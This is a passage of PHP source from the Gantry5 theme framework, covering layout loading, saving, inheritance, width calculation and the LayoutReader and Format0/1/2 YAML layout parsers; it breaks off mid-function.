$file->save(LayoutReader::store($this->preset,
$this->items));
$file->free();
$this->timestamp = $file->modified();
$this->exists = true;
static::$instances[$this->name] = $this;
return $this;
}
public function export()
{
return LayoutReader::store($this->preset, $this->items);
}
/**
* Save index.
*
* @return $this
*/
public function saveIndex($index = null)
{
if (!$this->name) {
throw new \LogicException('Cannot save unnamed
layout');
}
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Saving layout index for outline
{$this->name}");
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$filename =
$locator->findResource("gantry-config://{$this->name}/index.yaml",
true, true);
$cache =
$locator->findResource("gantry-cache://{$this->name}/compiled/yaml",
true, true);
$file = CompiledYamlFile::instance($filename);
// Attempt to lock the file for writing.
try {
$file->lock(false);
} catch (\Exception $e) {
// Another process has locked the file; we will check this in a
bit.
}
$index = $index ? $index : $this->buildIndex();
// If file wasn't already locked by another process, save it.
if ($file->locked() !== false) {
$file->setCachePath($cache)->settings(['inline'
=> 20]);
$file->save($index);
$file->unlock();
}
$file->free();
static::$indexes[$this->name] = $index;
return $this;
}
/**
* @return array
*/
public function getLayoutTypes()
{
return $this->layout;
}
/**
* @param string $type
* @return bool
*/
public function isLayoutType($type)
{
return in_array($type, $this->layout, true);
}
/**
* @param $id
* @return string|null
*/
public function getParentId($id)
{
return isset($this->parents[$id]) ? $this->parents[$id] :
null;
}
/**
* @return array
*/
public function references()
{
$this->init();
return $this->references;
}
/**
* @param string $type
* @param string $subtype
* @return array
*/
public function referencesByType($type = null, $subtype = null)
{
$this->init();
if (!$type) {
return $this->types;
}
if (!$subtype) {
return isset($this->types[$type]) ? $this->types[$type] :
[];
}
return isset($this->types[$type][$subtype]) ?
$this->types[$type][$subtype] : [];
}
/**
* Return list of positions (key) with their titles (value).
*
* @return array Array of position => title
*/
public function positions()
{
$positions = $this->referencesByType('position',
'position');
$list = [];
foreach($positions as $position) {
if (!isset($position->attributes->key)) {
continue;
}
$list[$position->attributes->key] = $position->title;
}
return $list;
}
/**
* Return list of positions (key) with their titles (value).
*
* @return array Array of position => title
*/
public function sections()
{
$list = [];
foreach ($this->referencesByType('section') as $type
=> $sections) {
foreach ($sections as $id => $section) {
$list[$id] = $section->title;
}
}
foreach ($this->referencesByType('offcanvas') as $type
=> $sections) {
foreach ($sections as $id => $section) {
$list[$id] = $section->title;
}
}
return $list;
}
/**
* Return list of particles with their titles.
*
* @param bool $grouped If true, group particles by type.
* @return array Array of position => title
*/
public function particles($grouped = true)
{
$blocks = $this->referencesByType('block',
'block');
$list = [];
foreach ($blocks as $blockId => $block) {
if (!empty($block->children)) {
foreach ($block->children as $id => $particle) {
if (!empty($particle->layout) ||
in_array($particle->type, $this->layout, true)) {
continue;
}
if ($grouped) {
$list[$particle->subtype][$particle->id] =
$particle->title;
} else {
$list[$particle->id] = $particle->title;
}
}
}
}
return $list;
}
/**
* @param string $outline
* @return array
*/
public function inherit($outline = null)
{
$this->init();
$list = [];
foreach ($this->inherit as $name => $item) {
if (isset($item->inherit->outline)) {
if (isset($item->inherit->particle)) {
$list[$item->inherit->outline][$name] =
$item->inherit->particle;
} else {
$list[$item->inherit->outline][$name] = $name;
}
}
}
return $outline ? (!empty($list[$outline]) ? $list[$outline] : [])
: $list;
}
/**
* Return atoms from the layout.
*
* @return array|null
* @deprecated
*/
public function atoms()
{
$list = null;
$atoms = array_filter($this->items, function ($section) {
return $section->type === 'atoms' &&
!empty($section->children);
});
$atoms = array_shift($atoms);
if (!empty($atoms->children)) {
$list = [];
foreach ($atoms->children as $grid) {
if (!empty($grid->children)) {
foreach ($grid->children as $block) {
if (isset($block->children[0])) {
$item = $block->children[0];
$list[] = ['title' =>
$item->title, 'type' => $item->subtype,
'attributes' => $item->attributes];
}
}
}
}
}
return $list;
}
/**
* @param string $id
* @param bool $createIfNotExists
* @return object
*/
public function find($id, $createIfNotExists = true)
{
$this->init();
if (!isset($this->references[$id])) {
return $createIfNotExists ? (object)['id' => $id,
'inherit' => new \stdClass] : null;
}
return $this->references[$id];
}
/**
* @param string $id
* @return null
*/
public function block($id)
{
$this->init();
return isset($this->blocks[$id]) ? $this->blocks[$id] : null;
}
public function clearSections()
{
$this->items = $this->clearChildren($this->items);
return $this;
}
protected function clearChildren(&$items)
{
foreach ($items as $key => $item) {
if (!empty($item->children)) {
$this->children =
$this->clearChildren($item->children);
}
if (empty($item->children) &&
in_array($item->type, ['grid', 'block',
'particle', 'position', 'spacer',
'system'], true)) {
unset($items[$key]);
}
}
return array_values($items);
}
public function copySections(array $old)
{
$this->init();
/** @var Layout $old */
$old = new static('tmp', $old);
$leftover = [];
// Copy normal sections.
$data = $old->referencesByType('section');
if (isset($this->types['section'])) {
$sections = $this->types['section'];
$this->copyData($data, $sections, $leftover);
}
// Copy offcanvas.
$data = $old->referencesByType('offcanvas');
if (isset($this->types['offcanvas'])) {
$offcanvas = $this->types['offcanvas'];
$this->copyData($data, $offcanvas, $leftover);
}
// Copy atoms.
$data = $old->referencesByType('atoms');
if (isset($this->types['atoms'])) {
$atoms = $this->types['atoms'];
$this->copyData($data, $atoms, $leftover);
}
return $leftover;
}
public function inheritAll()
{
foreach ($this->references() as $item) {
if (!empty($item->inherit->outline)) {
continue;
}
if (!$this->isLayoutType($item->type)) {
$item->inherit = (object) ['outline' =>
$this->name, 'include' => ['attributes',
'block']];
} elseif ($item->type === 'section' ||
$item->type === 'offcanvas') {
$item->inherit = (object) ['outline' =>
$this->name, 'include' => ['attributes',
'block', 'children']];
}
}
$this->init(true);
return $this;
}
public function inheritNothing()
{
foreach ($this->references() as $item) {
unset($item->inherit);
}
$this->init(true);
return $this;
}
protected function copyData(array $data, array $sections, array
&$leftover)
{
foreach ($data as $type => $items) {
foreach ($items as $item) {
$found = false;
if (isset($sections[$type])) {
foreach ($sections[$type] as $section) {
if ($section->id === $item->id) {
$found = true;
$section->inherit =
$this->cloneData($item->inherit);
$section->children =
$this->cloneData($item->children);
break;
}
}
}
if (!$found && !empty($item->children)) {
$leftover[$item->id] = $item->title;
}
}
}
}
/**
* Clone data which consists mixed set of arrays and stdClass objects.
*
* @param mixed $data
* @return mixed
*/
protected function cloneData($data)
{
if (!($isObject = is_object($data)) && !is_array($data)) {
return $data;
}
$clone = [];
foreach((array) $data as $key => $value) {
if (is_object($value) || is_array($value)) {
$clone[$key] = $this->cloneData($value);
} else {
$clone[$key] = $value;
}
}
return $isObject ? (object) $clone : $clone;
}
/**
* @param array $items
*/
protected function cleanLayout(array $items)
{
foreach ($items as $item) {
if (!empty($item->inherit->include)) {
$include = $item->inherit->include;
foreach ($include as $part) {
switch ($part) {
case 'attributes':
$item->attributes = new \stdClass();
break;
case 'block':
break;
case 'children':
$item->children = [];
break;
}
}
}
if (!empty($item->children)) {
$this->cleanLayout($item->children);
}
}
}
protected function initInheritance()
{
$index = null;
if ($this->name) {
$index = static::loadIndexFile($this->name);
}
$inheriting = $this->inherit();
if (GANTRY_DEBUGGER && $inheriting) {
\Gantry\Debugger::addMessage(sprintf("Layout from outline
%s inherits %s", $this->name, implode(", ",
array_keys($inheriting))));
}
foreach ($inheriting as $outlineId => $list) {
try {
$outline = $this->instance($outlineId);
} catch (\Exception $e) {
// Outline must have been deleted.
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Outline {$outlineId} is missing /
deleted", 'error');
$outline = null;
}
foreach ($list as $id => $inheritId) {
$item = $this->find($id);
$inheritId = !empty($item->inherit->particle) ?
$item->inherit->particle : $id;
$inherited = $outline ? $outline->find($inheritId) :
null;
$include = !empty($item->inherit->include) ? (array)
$item->inherit->include : [];
foreach ($include as $part) {
switch ($part) {
case 'attributes':
// Deep clone attributes.
$item->attributes =
isset($inherited->attributes) ?
$this->cloneData($inherited->attributes) : new \stdClass();
break;
case 'block':
$block = $this->block($id);
if (isset($block->attributes)) {
$inheritBlock = $outline ?
$this->cloneData($outline->block($inheritId)) : null;
$blockAttributes = $inheritBlock ?
array_diff_key((array)$inheritBlock->attributes, ['fixed'
=> 1, 'size' => 1]) : [];
$block->attributes =
(object)($blockAttributes + (array)$block->attributes);
}
break;
case 'children':
if (!empty($inherited->children)) {
// Deep clone children.
$item->children =
$this->cloneData($inherited->children);
$this->initReferences($item->children, $this->getParentId($id),
null,
['outline' => $outlineId,
'include' => ['attributes', 'block']],
$index);
} else {
$item->children = [];
}
break;
}
}
if (!$outline || !isset($inherited->attributes)) {
// Remove inheritance information if outline
doesn't exist.
$item->inherit = new \stdClass;
unset($this->inherit[$item->id]);
}
}
}
}
/**
* @param array $items
* @param object $parent
* @param object $block
* @param string $inherit
* @param array $index
*/
protected function initReferences(array $items = null, $parent = null,
$block = null, $inherit = null, array $index = null)
{
if ($items === null) {
$items = $this->items;
$this->references = [];
$this->types = [];
$this->inherit = [];
}
foreach ($items as $item) {
if (is_object($item)) {
$type = $item->type;
$subtype = !empty($item->subtype) ? $item->subtype :
$type;
if ($block) {
$this->parents[$item->id] = $parent;
}
if ($block) {
$this->blocks[$item->id] = $block;
}
if ($inherit && !$this->isLayoutType($type)) {
$item->inherit = (object) $inherit;
$item->inherit->particle = $item->id;
if
(isset($index['inherit'][$item->inherit->outline])
&& ($newId = array_search($item->id,
$index['inherit'][$item->inherit->outline], true))) {
$item->id = $newId;
} else {
$item->id = $this->id($type, $subtype);
}
}
if (isset($item->id)) {
if (isset($this->references[$item->id])) {
if ($type === 'block' || $type ===
'grid') {
$item->id = $this->id($type, $subtype);
}
// elseif (null === $inherit) {
// throw new \RuntimeException('Layout
reference conflict on #' . $item->id);
// }
}
$this->references[$item->id] = $item;
$this->types[$type][$subtype][$item->id] = $item;
if (!empty($item->inherit->outline)) {
$this->inherit[$item->id] = $item;
}
} else {
$this->types[$type][$subtype][] = $item;
}
if (isset($item->children) &&
is_array($item->children)) {
$this->initReferences($item->children, $type ===
'section' ? $item : $parent, $type === 'block' ? $item
: null, $inherit, $index);
}
}
}
}
/**
* @param string $type
* @param string $subtype
* @param string $id
* @return string
*/
protected function id($type, $subtype = null, $id = null)
{
$result = [];
if ($type !== 'particle') {
$result[] = $type;
}
if ($subtype && ($subtype !== $type || $subtype ===
'position')) {
$result[] = $subtype;
}
$key = implode('-', $result);
$key_id = $key . '-'. $id;
if (!$id || isset($this->references[$key_id])) {
while ($id = rand(1000, 9999)) {
$key_id = $key . '-'. $id;
if (!isset($this->references[$key_id])) {
break;
}
}
}
return $key_id;
}
/**
* Prepare block width sizes.
*
* @return $this
*/
public function prepareWidths()
{
$this->init();
$this->calcWidths($this->items);
return $this;
}
/**
* Recalculate block widths.
*
* @param array $items
* @internal
*/
protected function calcWidths(array &$items)
{
foreach ($items as $i => $item) {
if (empty($item->children)) {
continue;
}
$this->calcWidths($item->children);
$dynamicSize = 0;
$fixedSize = 0;
$childrenCount = 0;
foreach ($item->children as $child) {
if ($child->type !== 'block') {
continue;
}
$childrenCount++;
if (!isset($child->attributes->size)) {
$child->attributes->size = 100 /
count($item->children);
}
if (empty($child->attributes->fixed)) {
$dynamicSize += $child->attributes->size;
} else {
$fixedSize += $child->attributes->size;
}
}
if (!$childrenCount) {
continue;
}
$roundSize = round($dynamicSize, 1);
$equalized = isset($this->equalized[$childrenCount]) ?
$this->equalized[$childrenCount] : 0;
// force-casting string for testing comparison due to weird PHP
behavior that returns wrong result
if ($roundSize !== 100 && (string) $roundSize !==
(string) ($equalized * $childrenCount)) {
$fraction = 0;
$multiplier = (100 - $fixedSize) / ($dynamicSize ?: 1);
foreach ($item->children as $child) {
if ($child->type !== 'block') {
continue;
}
if (!empty($child->attributes->fixed)) {
continue;
}
// Calculate size for the next item by taking account
the rounding error from the last item.
// This will allow us to approximate cumulating error
and fix it when rounding error grows
// over the rounding treshold.
$size = ($child->attributes->size * $multiplier)
+ $fraction;
$newSize = round($size);
$fraction = $size - $newSize;
$child->attributes->size = $newSize;
}
}
}
}
/**
* @param string $name
* @param string $preset
* @return static
*/
public static function load($name, $preset = null)
{
if (!$name) {
throw new \BadMethodCallException('Layout needs to have a
name');
}
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$layout = null;
$filename =
$locator("gantry-config://{$name}/layout.yaml");
// If layout file doesn't exists, figure out what preset was
used.
if (!$filename) {
// Attempt to load the index file.
$indexFile =
$locator("gantry-config://{$name}/index.yaml");
if ($indexFile || !$preset) {
$index = static::loadIndex($name, true);
$preset = $index['preset']['name'];
}
try {
$layout = static::preset($preset);
} catch (\Exception $e) {
// Layout doesn't exist, do nothing.
}
} else {
$layout = LayoutReader::read($filename);
}
return new static($name, $layout);
}
protected static function loadIndexFile($name)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// Attempt to load the index file.
$indexFile =
$locator("gantry-config://{$name}/index.yaml");
if ($indexFile) {
$file = CompiledYamlFile::instance($indexFile);
$index = (array)$file->content();
$file->free();
} else {
$index = [];
}
return $index;
}
/**
* @param string $name
* @param bool $autoSave
* @return array
*/
public static function loadIndex($name, $autoSave = false)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$index = static::loadIndexFile($name);
// Find out the currently used layout file.
$layoutFile =
$locator("gantry-config://{$name}/layout.yaml");
if (!$layoutFile) {
/** @var Outlines $outlines */
$outlines = $gantry['outlines'];
$preset = isset($index['preset']['name']) ?
$index['preset']['name'] : $outlines->preset($name);
}
// Get timestamp for the layout file.
$timestamp = $layoutFile ? filemtime($layoutFile) : 0;
// If layout index file doesn't exist or is not up to date,
rebuild it.
if (empty($index['timestamp']) ||
$index['timestamp'] != $timestamp ||
!isset($index['version']) || $index['version'] !=
static::VERSION) {
$layout = isset($preset) ? new static($name,
static::preset($preset)) : static::instance($name);
$layout->timestamp = $timestamp;
if ($autoSave) {
if (!$layout->timestamp) {
$layout->save();
}
$index = $layout->buildIndex();
$layout->saveIndex($index);
} else {
$index = $layout->buildIndex();
}
}
$index += [
'name' => $name,
'timestamp' => $timestamp,
'preset' => [
'name' => '',
'image' =>
'gantry-admin://images/layouts/default.png'
],
'positions' => [],
'sections' => [],
'inherit' => []
];
return $index;
}
public function check(array $children = null)
{
if ($children === null) {
$children = $this->items;
}
foreach ($children as $item) {
if (!$item instanceof \stdClass) {
throw new \RuntimeException('Invalid layout
element');
}
if (!isset($item->type)) {
throw new \RuntimeException('Type missing');
}
if (!isset($item->subtype)) {
throw new \RuntimeException('Subtype missing');
}
if (!isset($item->attributes)) {
throw new \RuntimeException('Attributes
missing');
}
if (!is_object($item->attributes)) {
throw new \RuntimeException('Attributes not
object');
}
if (isset($item->children)) {
if (!is_array($item->children)) {
throw new \RuntimeException('Children not
array');
}
$this->check($item->children);
}
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Layout;
use Gantry\Component\File\CompiledYamlFile;
/**
* Read layout from yaml file.
*/
class LayoutReader
{
/**
* Get layout version.
*
* @param array $data
* @return int
*/
public static function version(array &$data)
{
if (isset($data['version'])) {
return $data['version'];
}
return isset($data['children']) &&
is_array($data['children']) ? 0 : 1;
}
/**
* Make layout from array data.
*
* @param array $data
* @return array
*/
public static function data(array $data)
{
$version = static::version($data);
$reader = static::getClass($version, $data);
$result = $reader->load();
// Make sure that all preset values are set by defining defaults.
$result['preset'] += [
'name' => '',
'image' =>
'gantry-admin://images/layouts/default.png'
];
return $result;
}
/**
* Read layout from yaml file and return parsed version of it.
*
* @param string $file
* @return array
*/
public static function read($file)
{
if (!$file) {
return [];
}
$file = CompiledYamlFile::instance($file);
$content = (array) $file->content();
$file->free();
return static::data($content);
}
/**
* Convert layout into file format.
*
* @param array $preset
* @param array $structure
* @param int $version
* @return mixed
*/
public static function store(array $preset, array $structure, $version
= 2)
{
$reader = static::getClass($version);
return $reader->store($preset, $structure);
}
/**
* @param int $version
* @param array $data
* @return object
*/
protected static function getClass($version, array $data = [])
{
$class =
"Gantry\\Component\\Layout\\Version\\Format{$version}";
if (!class_exists($class)) {
throw new \RuntimeException('Layout file cound not be
read: unsupported version {$version}.');
}
return new $class($data);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Layout\Version;
/**
* Read layout from Layout Manager yaml file.
*/
class Format0 extends Format1
{
/**
* @return array
*/
public function load()
{
$data = &$this->data;
$preset = isset($data['preset']) &&
is_array($data['preset']) ? $data['preset'] : [];
$result = is_array($data['children']) ?
$this->object($data['children']) : [];
$invisible = [
'offcanvas' =>
$this->parse('offcanvas', [], 0),
'atoms' => $this->parse('atoms', [],
0)
];
foreach ($result as $key => &$item) {
if (isset($invisible[$item->type])) {
$invisible[$item->type] = $item;
unset($result[$key]);
}
}
$result += $invisible;
$result = array_values($result);
return ['preset' => $preset] + $result;
}
protected function object(array $items, $container = true)
{
foreach ($items as &$item) {
$item = (object) $item;
if (isset($item->attributes) &&
(is_array($item->attributes) || is_object($item->attributes))) {
$item->attributes = (object) $item->attributes;
} else {
$item->attributes = (object) [];
}
if (!empty($item->children) &&
is_array($item->children)) {
$item->children = $this->object($item->children,
false);
}
$this->normalize($item, $container);
}
return $items;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Layout\Version;
/**
* Read layout from simplified yaml file.
*/
class Format1
{
protected $scopes = [0 => 'grid', 1 =>
'block'];
protected $data;
protected $keys = [];
public function __construct(array $data)
{
$this->data = $data;
}
public function load()
{
$data = &$this->data;
// Check if we have preset.
$preset = [];
if (isset($data['preset']) &&
is_array($data['preset']) &&
isset($data['layout']) &&
is_array($data['layout'])) {
$preset = $data['preset'];
$data = $data['layout'];
}
// We have user entered file; let's build the layout.
// Two last items are always offcanvas and atoms.
$offcanvas = isset($data['offcanvas']) ?
$data['offcanvas'] : [];
$atoms = isset($data['atoms']) ? $data['atoms']
: [];
unset($data['offcanvas'], $data['atoms']);
$data['offcanvas'] = $offcanvas;
if ($atoms) {
$data['atoms'] = $atoms;
}
$result = [];
foreach ($data as $field => $params) {
$child = $this->parse($field, (array) $params, 0);
unset($child->size);
$result[] = $child;
}
return ['preset' => $preset] + $result;
}
public function store(array $preset, array $structure)
{
return ['preset' => $preset, 'children'
=> $structure];
}
protected function normalize(&$item, $container = false)
{
if ($item->type === 'pagecontent') {
// Update pagecontent to match the new standards.
$item->type = 'system';
if (!$item->subtype || $item->subtype ==
'pagecontent') {
$item->subtype = 'content';
$item->title = 'Page Content';
} else {
$item->subtype ='messages';
$item->title = 'System Messages';
}
}
if ($item->type === 'section') {
// Update section to match the new standards.
$section = strtolower($item->title);
$item->id = $section;
$item->subtype = (in_array($section, ['aside',
'nav', 'article', 'header',
'footer', 'main']) ? $section : 'section');
} elseif ($item->type === 'offcanvas') {
$item->id = $item->subtype = $item->type;
unset ($item->attributes->name,
$item->attributes->boxed);
return;
} else {
// Update all ids to match the new standards.
$item->id = $this->id($item->type, $item->subtype);
}
if (!empty($item->attributes->extra)) {
foreach ($item->attributes->extra as $i => $extra) {
$v = reset($extra);
$k = key($extra);
if ($k === 'id') {
$item->id = preg_replace('/^g-/',
'', $v);
$item->attributes->id = $v;
unset ($item->attributes->extra[$i]);
}
}
if (empty($item->attributes->extra)) {
unset ($item->attributes->extra);
}
}
$item->subtype = $item->subtype ?: $item->type;
$item->layout = in_array($item->type, ['container',
'section', 'grid', 'block',
'offcanvas']);
if (isset($item->attributes->boxed)) {
// Boxed already set, just change boxed=0 to boxed=''
to use default settings.
$item->attributes->boxed = $item->attributes->boxed
?: '';
return;
}
if (!$container) {
return;
}
// Update boxed model to match the new standards.
if (isset($item->children) && count($item->children)
=== 1) {
$child = reset($item->children);
if ($item->type === 'container') {
// Remove parent container only if the only child is a
section.
if ($child->type === 'section') {
$child->attributes->boxed = 1;
$item = $child;
}
$item->attributes->boxed = '';
} elseif ($child->type === 'container') {
// Remove child container.
$item->attributes->boxed = '';
$item->children = $child->children;
}
}
}
/**
* @param int|string $field
* @param array $content
* @param int $scope
* @param bool|null $container
* @return array
*/
protected function parse($field, array $content, $scope, $container =
true)
{
if (is_numeric($field)) {
// Row or block
$type = $this->scopes[$scope];
$result = (object) ['id' => null, 'type'
=> $type, 'subtype' => $type, 'layout' =>
true, 'attributes' => (object) []];
$scope = ($scope + 1) % 2;
} elseif (substr($field, 0, 9) == 'container') {
// Container
$type = 'container';
$result = (object) ['id' => null, 'type'
=> $type, 'subtype' => $type, 'layout' =>
true, 'attributes' => (object) []];
$id = substr($field, 10) ?: null;
if ($id !== null) {
$result->attributes->id = $id;
}
} else {
// Section
$list = explode(' ', $field, 2);
$field = array_shift($list);
$size = ((float) array_shift($list)) ?: null;
$type = in_array($field, ['atoms',
'offcanvas']) ? $field : 'section';
$subtype = in_array($field, ['aside',
'nav', 'article', 'header',
'footer', 'main']) ? $field : 'section';
$result = (object) [
'id' => null,
'type' => $type,
'subtype' => $subtype,
'layout' => true,
'title' => ucfirst($field),
'attributes' => (object) ['id' =>
'g-' . $field]
];
if ($size) {
$result->size = $size;
}
}
if (!empty($content)) {
$result->children = [];
foreach ($content as $child => $params) {
if (is_array($params)) {
$child = $this->parse($child, $params, $scope,
false);
} else {
$child = $this->resolve($params, $scope);
}
if (!empty($child->size)) {
$result->attributes->size = $child->size;
}
unset($child->size);
$result->children[] = $child;
}
}
$this->normalize($result, $container);
return $result;
}
/**
* @param string $field
* @param int $scope
* @return array
*/
protected function resolve($field, $scope)
{
$list = explode(' ', $field, 2);
$list2 = explode('-', array_shift($list), 2);
$size = ((float) array_shift($list)) ?: null;
$type = array_shift($list2);
$subtype = array_shift($list2) ?: false;
$title = ucfirst($subtype ?: $type);
$attributes = new \stdClass;
$attributes->enabled = 1;
if ($subtype && $type === 'position') {
$attributes->key = $subtype;
$subtype = false;
}
$result = (object) ['id' => $this->id($type,
$subtype), 'title' => $title, 'type' => $type,
'subtype' => $subtype, 'attributes' =>
$attributes];
$this->normalize($result);
if ($scope > 1) {
if ($size) {
$result->attributes->size = $size;
}
return $result;
}
if ($scope <= 1) {
$result = (object) ['id' =>
$this->id('block'), 'type' => 'block',
'subtype' => 'block', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
if ($size) {
$result->attributes->size = $size;
}
}
if ($scope == 0) {
$result = (object) ['id' =>
$this->id('grid'), 'type' => 'grid',
'subtype' => 'grid', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
}
return $result;
}
protected function id($type, $subtype = null)
{
if ($type === 'atoms') {
return $type;
}
$result = [];
if ($type !== 'particle' && $type !==
'atom') {
$result[] = $type;
}
if ($subtype && $subtype !== $type) {
$result[] = $subtype;
}
$key = implode('-', $result);
while ($id = rand(1000, 9999)) {
if (!isset($this->keys[$key][$id])) {
break;
}
}
$this->keys[$key][$id] = true;
return $key . '-'. $id;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Layout\Version;
/**
* Read layout from simplified yaml file.
*/
class Format2
{
protected $scopes = [0 => 'grid', 1 =>
'block'];
protected $sections = ['wrapper', 'container',
'section', 'grid', 'block',
'offcanvas'];
protected $structures = ['div', 'section',
'aside', 'nav', 'article',
'header', 'footer', 'main'];
protected $data;
protected $structure;
protected $content;
protected $keys;
/**
* @param array $data
*/
public function __construct(array $data = [])
{
$this->data = $data;
}
/**
* @return array
*/
public function load()
{
$data = &$this->data;
// Parse layout.
$result = [];
foreach ($data['layout'] as $field => &$params) {
if (!is_array($params)) {
$params = [];
}
$child = $this->parse($field, $params);
unset($child->size);
$result[] = $child;
}
return ['preset' => $data['preset']] +
$result;
}
/**
* @param array $preset
* @param array $structure
* @return array
*/
public function store(array $preset, array $structure)
{
$this->structure = [];
$this->content = [];
$structure = ['children' =>
json_decode(json_encode($structure), true)];
$structure = $this->build($structure);
$result = [
'version' => 2,
'preset' => $preset,
'layout' => $structure
];
if ($this->structure) {
$result['structure'] = $this->structure;
}
if ($this->content) {
$result['content'] = $this->content;
}
return $result;
}
/**
* @param int|string $field
* @param array $content
* @param int $scope
* @param object $parent
* @return array
*/
protected function parse($field, array &$content, $scope = 0,
$parent = null)
{
if (is_numeric($field)) {
// Row or block
$result = (object)['id' =>
$this->id($this->scopes[$scope]), 'type' =>
$this->scopes[$scope], 'subtype' =>
$this->scopes[$scope], 'layout' => true,
'attributes' => (object)[]];
$scope = ($scope + 1) % 2;
} else {
list ($type, $subtype, $id, $size, $section_id, $boxed) =
$this->parseSectionString($field);
if ($type == 'grid') {
$scope = 1;
}
if ($type == 'block') {
$scope = 0;
}
// Build object.
$result =
isset($this->data['structure'][$section_id]) ? (array)
$this->data['structure'][$section_id] : [];
$result += [
'id' => $section_id,
'layout' => true,
'type' => $type,
'subtype' => $subtype,
'title' => $this->getTitle($type, $subtype,
$id),
'attributes' => []
];
if (isset($boxed) &&
!isset($result['attributes']['boxed'])) {
$result['attributes']['boxed'] =
$boxed;
}
if ($parent && $parent->type === 'block'
&& !empty($result['block'])) {
$parent->attributes = (object)
($result['block'] + (array) $parent->attributes);
}
unset ($result['block']);
$result = (object) $result;
$result->attributes = (object) $result->attributes;
if (isset($result->inherit)) {
$result->inherit = (object) $result->inherit;
}
if ($size) {
$result->size = $size;
}
if (($type === 'grid' || $type === 'block')
&& !isset($result->attributes->id)) {
$result->attributes->id = $section_id;
}
}
if (!empty($content)) {
$result->children = [];
foreach ($content as $child => &$params) {
if (!$params && !is_array($params)) {
$params = [];
}
if (is_array($params)) {
$child = $this->parse($child, $params, $scope,
$result);
} else {
$child = $this->resolve($params, $scope, $result);
}
if (!empty($child->size)) {
$result->attributes->size = $child->size;
}
unset($child->size);
$result->children[] = $child;
}
}
return $result;
}
/**
* @param string $field
* @param int $scope
* @param object $parent
* @return array
*/
protected function resolve($field, $scope, $parent)
{
list ($type, $subtype, $id, $size, $content_id) =
$this->parseContentString($field);
$title = $this->getTitle($type, $subtype, $id);
$result = isset($this->data['content'][$content_id]) ?
(array) $this->data['content'][$content_id] : [];
$result += ['id' => $this->id($type, $subtype,
$id), 'title' => $title, 'type' => $type,
'subtype' => $subtype, 'attributes' => []];
$result['attributes'] = (object)
($result['attributes'] + ['enabled' => 1]);
if (isset($result['inherit'])) {
$result['inherit'] = (object)
$result['inherit'];
}
if (isset($result['block'])) {
$block = $result['block'];
unset ($result['block']);
}
$result = (object) $result;
if ($type === 'position' &&
!isset($result->attributes->key) && !in_array($subtype,
['module', 'widget'])) {
$result->attributes->key = $id;
}
if ($scope > 1) {
if ($parent->type === 'block' &&
!empty($block)) {
$parent->attributes = (object) ($block + (array)
$parent->attributes);
}
if ($size) {
$result->attributes->size = $size;
}
}
if ($scope <= 1) {
$result = (object) ['id' =>
$this->id('block'), 'type' => 'block',
'subtype' => 'block', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
if (!empty($block)) {
$result->attributes = (object) $block;
}
if ($size) {
$result->attributes->size = $size;
}
}
if ($scope == 0) {
$result = (object) ['id' =>
$this->id('grid'), 'type' => 'grid',
'subtype' => 'grid', 'layout' => true,
'children' => [$result], 'attributes' => new
\stdClass];
}
return $result;
}
/**
* @param array $content
* @return array|null
*/
protected function build(array &$content)
{
$result = [];
$ctype = isset($content['type']) ?
$content['type'] : null;
if (in_array($ctype, ['grid', 'block'])) {
if (empty($content['attributes']['id']) ||
$content['attributes']['id'] ===
$content['id']) {
unset ($content['attributes']['id']);
}
}
if ($ctype === 'block') {
if (empty($content['attributes']['extra']))
{
unset
($content['attributes']['extra']);
}
if (empty($content['attributes']['fixed']))
{
unset
($content['attributes']['fixed']);
}
}
if ($ctype === 'section') {
if (empty($content['attributes']['extra']))
{
unset
($content['attributes']['extra']);
}
}
if (!isset($content['children'])) {
$content['children'] = [];
}
unset ($content['layout']);
// Clean up all items for saving.
foreach ($content['children'] as &$child) {
$size = null;
$id = $child['id'];
$type = $child['type'];
$subtype = $child['subtype'];
$isSection = in_array($type, $this->sections);
if (empty($child['inherit']['outline']) ||
empty($child['inherit']['include'])) {
unset ($child['inherit']);
} else {
foreach ($child['inherit']['include']
as $include) {
switch ($include) {
case 'attributes':
unset($child['attributes']);
break;
case 'block':
if ($ctype === 'block') {
// Keep block size and fixed status.
$attributes =
!empty($content['attributes']) ? $content['attributes']
: [];
$content['attributes'] =
array_intersect_key($attributes, ['fixed' => 1,
'size' => 1]);
}
break;
case 'children':
$child['children'] = [];
break;
}
}
}
if (!$isSection) {
// Special handling for positions.
if ($type === 'position') {
// TODO: we may want to simplify position id, but we
need to take into account multiple instances of the same position key.
/*
if (!$subtype || $subtype === 'position') {
